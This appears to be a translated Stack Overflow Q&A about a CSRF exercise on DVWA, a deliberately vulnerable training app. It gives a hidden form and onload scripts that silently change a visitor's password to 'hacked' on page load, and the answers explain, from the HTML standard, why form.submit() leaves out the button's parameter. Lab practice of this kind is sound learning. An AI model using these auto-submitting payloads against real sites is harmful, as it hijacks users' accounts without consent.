为什么在表单上调用 submit 并单击提交按钮会产生不同的 GET 参数?

Car*_*ate 6 javascript forms

我正在尝试一个简单的 CSRF 攻击并遇到了一个问题。

如果我有一个包含此表单的虚拟站点:

<form action="somewebsitetoexploit.com/someformpage" method="GET" hidden>
    <input type="password" autocomplete="off" name="password_new" value="hacked"><br>
    <input type="password" autocomplete="off" name="password_conf" value="hacked">
    <input type="submit" value="Change" name="Change">
</form>
Run Code Online (Sandbox Code Playgroud)

我最初的想法是通过submit在页面加载时在表单上调用脚本标记来让这个表单“自我提交”,以便在用户访问页面时自动更改用户密码:

<script>
    window.onload = (_) => {
        const form = document.getElementsByTagName("form")[0];
        form.submit();
    };
</script>
Run Code Online (Sandbox Code Playgroud)

这看起来有效,但密码未能更改。在查看 GET 参数时,我意识到这是因为它没有包含Change参数(提交按钮本身)。它产生了:

?password_new=hacked&password_conf=hacked
Run Code Online (Sandbox Code Playgroud)

代替:

?password_new=hacked&password_conf=hacked&Change=Change
Run Code Online (Sandbox Code Playgroud)

我猜这会导致它在后端的验证检查失败。

它看起来很笨拙,但我能够通过将其设置click为提交按钮而不是submit直接输入表单来修复它:

<script>
    window.onload = (_) => {
        const submit = document.getElementsByName("Change")[0];
        submit.click();
    };
</script>
Run Code Online (Sandbox Code Playgroud)

我查看了相关的MDN 页面,它指出调用submit与单击提交按钮有两个不同之处:

  • submit引发任何事件。特别是,表单的onsubmit事件处理程序不会运行。
  • 不触发约束验证。

目前还不清楚为什么onsubmit不触发会影响发送的 GET 参数,所以我不确定这是否相关。

显然,对于使用 GET 作为方法的表单,我可以手动构建带有查询参数的 URL,而不必担心有表单。不过,为了学习起见(如果我想在将来操作使用 POST 的表单),我想了解这里发生了什么。


我试图“攻击”的页面是 DVWA 的密码更改 CSRF 页面。

Bar*_*mar 6

一个表单可以有多个提交按钮,具有不同的名称和/或值。

当您单击提交按钮并发生默认提交操作时,您单击的按钮的名称和值会在提交表单时包含在表单参数中。

当您调用该submit()方法时,没有关联的按钮单击,因此参数中将不包含按钮名称和值。如果表单有多个提交按钮,您希望它发送哪个按钮?


Cer*_*nce 3

HTML 标准中指定了此行为:

调用时,submit()方法必须从表单元素本身提交表单元素,并设置从submit()方法提交的标志。

提交执行此处描述的许多步骤:

当从元素提交者(通常是按钮)提交表单元素表单时,可以选择设置从 Submit() 方法提交的标志集,用户代理必须运行以下步骤:

...

  1. 如果提交者是表单,则让 SubmitterButton 为 null。否则,让 SubmitterButton 为提交者。

...

  1. 令条目列表为使用表单、提交者和编码构造条目列表的结果。

条目列表最终会产生类似 的字符串?password_new=hacked&password_conf=hacked

如果通过按按钮(手动或以编程方式)提交表单,submitter则设置为按钮,因此条目列表包含按钮。

如果使用 提交表单.submit()submitter则设置为表单,因此submitterButton设置为空,因此条目列表中不包含它。

条目列表的构造会跳过以下按钮submitter

对于控件中的每个元素字段,按树顺序:

如果以下任一情况为真:

字段元素是一个按钮,但它不是提交者。

然后继续。